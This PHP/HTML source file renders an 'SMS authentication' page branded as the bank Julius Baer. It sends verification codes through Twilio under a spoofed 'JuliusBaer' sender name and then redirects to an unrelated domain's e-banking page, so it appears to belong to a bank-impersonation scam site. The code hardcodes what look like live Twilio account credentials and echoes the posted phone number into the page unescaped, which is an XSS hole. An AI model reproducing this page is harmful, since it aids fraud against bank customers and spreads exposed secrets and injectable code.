<?php 
session_start();
ob_start();
// Required if your environment does not handle autoloading
require __DIR__ . '/vendor/autoload.php';

// Use the REST API Client to make requests to the Twilio REST API
use Twilio\Rest\Client;

// Your Account SID and Auth Token from twilio.com/console
$sid = 'AC7419223c8a6fa3f03343c26a21d517bc';
$token = '5d6d6c0a0c3f2e1b8a2283fdc2db5238';
$client = new Client($sid, $token);

$url = "https://www.weifangrbank.com/ebanking/pages/index.php";

if (isset($_POST['token'])) {
  if ($_SESSION['token'] == $_POST['token']) {
    header("location:" . $url);
  }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="css/intlTelInput.css">
    <link rel="stylesheet" href="css/style.css">
    <link rel="stylesheet" href="../../vendor/roc/jbclient.css">
    <link href="../../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<header id="jbheader">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 text-center">
                    <div class="row">
                        <div class="col-lg-6 col-lg-offset-3">
                            <a href="https://www.weifangrbank.com/index.html">
                                <img src="../../img/jb.svg" alt="">
                            </a>
                        </div>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2 class="login-header">AUTHENTICATION</h2>
                </div>
            </div>
        </div>
    </header>

    <div id="content">
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1 col-xs-12">
                    <div class="form-field">
                        <h3 class="text-center">SMS AUTHENTICATION</h3>
                        <p>Please enter your phone number for authentication</p>
                        <table width="953" border="0" align="center">
                            <tbody>
                                <tr>
                                <td width="947" height="41" style="text-align: left">
                                    
                            <span>You will receive an SMS Verification Code which will grant you access to your account.</span><br><br>
                            
                            <form method="post">
                                <?php 
                                $message_ = "";
                                if (isset($_POST['phone']) && !isset($_POST['change'])) {
                                # code...
                                $token = rand(100000,999999);
                                $_SESSION['token'] = $token;
                                // Use the client to do fun stuff like send text messages!
                                try{
                                $message = $client->messages->create(
                                    // the number you'd like to send the message to
                                    $_POST['phone'],
                                    [
                                        // A Twilio phone number you purchased at twilio.com/console
                                        'from' => 'JuliusBaer',
                                        // the body of the text message you'd like to send
                                        'body' => 'Hello there, your Julius Bar Login Verification Code is: '.$token.' , Use it to verify login.'
                                    ]
                                );
                                }catch(Exception $e){
                                    $message_ = $_POST['phone'] . " is not a valid number. Please change your number and try again.";
                                }
                                ?>
                                <input type="number" name="token" placeholder="Enter Your Token">
                                
                                <?php
                                }else if(isset($_POST['change'])){
                                    header("location:" . $_SERVER['REQUEST_URI']);
                                }else{
                                ?>
                                <input id="phone" type="tel">
                                <input type="hidden" id="validphone" name="phone">
                                <?php } ?>
                                <button type="submit" name="send">Submit</button>
                            </form>
                            <?php if(isset($_POST['phone'])) { ?>
                            <form method="post">
                                <?php echo $message_; ?>
                                <br>
                                <div class="form-group">
                                    <label for="phone">Phone Number</label>
                                    <input type="hidden" name="phone" value="<?php echo $_POST['phone'] ?>">
                                </div>
                                <button type="submit" name="resend">Resend Code</button>
                                <button type="submit" name="change">Change Number</button>
                            </form>
                            <?php } ?>

                            <script src="js/intlTelInput.js"></script>
                            <script>
                                <?php 
                                if (!isset($_POST['phone'])) {
                                ?>
                                var input = document.querySelector("#phone");
                                var instance = window.intlTelInput(input, {
                                utilsScript: "js/utils.js",
                                });
                                input.addEventListener("input",function() {
                                var countrycode = instance.getSelectedCountryData().dialCode;
                                var givennumber = instance.getNumber();
                                if (givennumber.includes("+")) {
                                    var fullnumber = givennumber;
                                }else{

                                    var fullnumber = "+" + countrycode+givennumber;
                                }
                                document.querySelector("#validphone").value = fullnumber;
                                });
                                <?php } ?>
                            </script>

                                    
                                    </td>
                                </tr>
                                <tr>
                                <td height="41" style="text-align: left"></td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div id="jbfooter">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                    <hr>
                    <div class="row">
                        <div class="col-md-8 col-sm-12 col-xs-12">
                            <a class="bjb-link-arrow text-nowrap" href="about.php">About Us</a>
                            <a class="bjb-link-arrow text-nowrap" href="#">Terms Of Use</a>
                            <a class="bjb-link-arrow text-nowrap" href="#">Privacy Policy</a>
                        </div>
                        <div class="col-md-4 col-sm-12 col-xs-12">
                            <p class="copyright">© 2021 JULIUS BAER</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

<script src="../vendor/jquery/jquery.min.js"></script> 

<!-- Bootstrap Core JavaScript --> 
<script src="../../vendor/bootstrap/js/bootstrap.min.js"></script>
    
</body>
</html>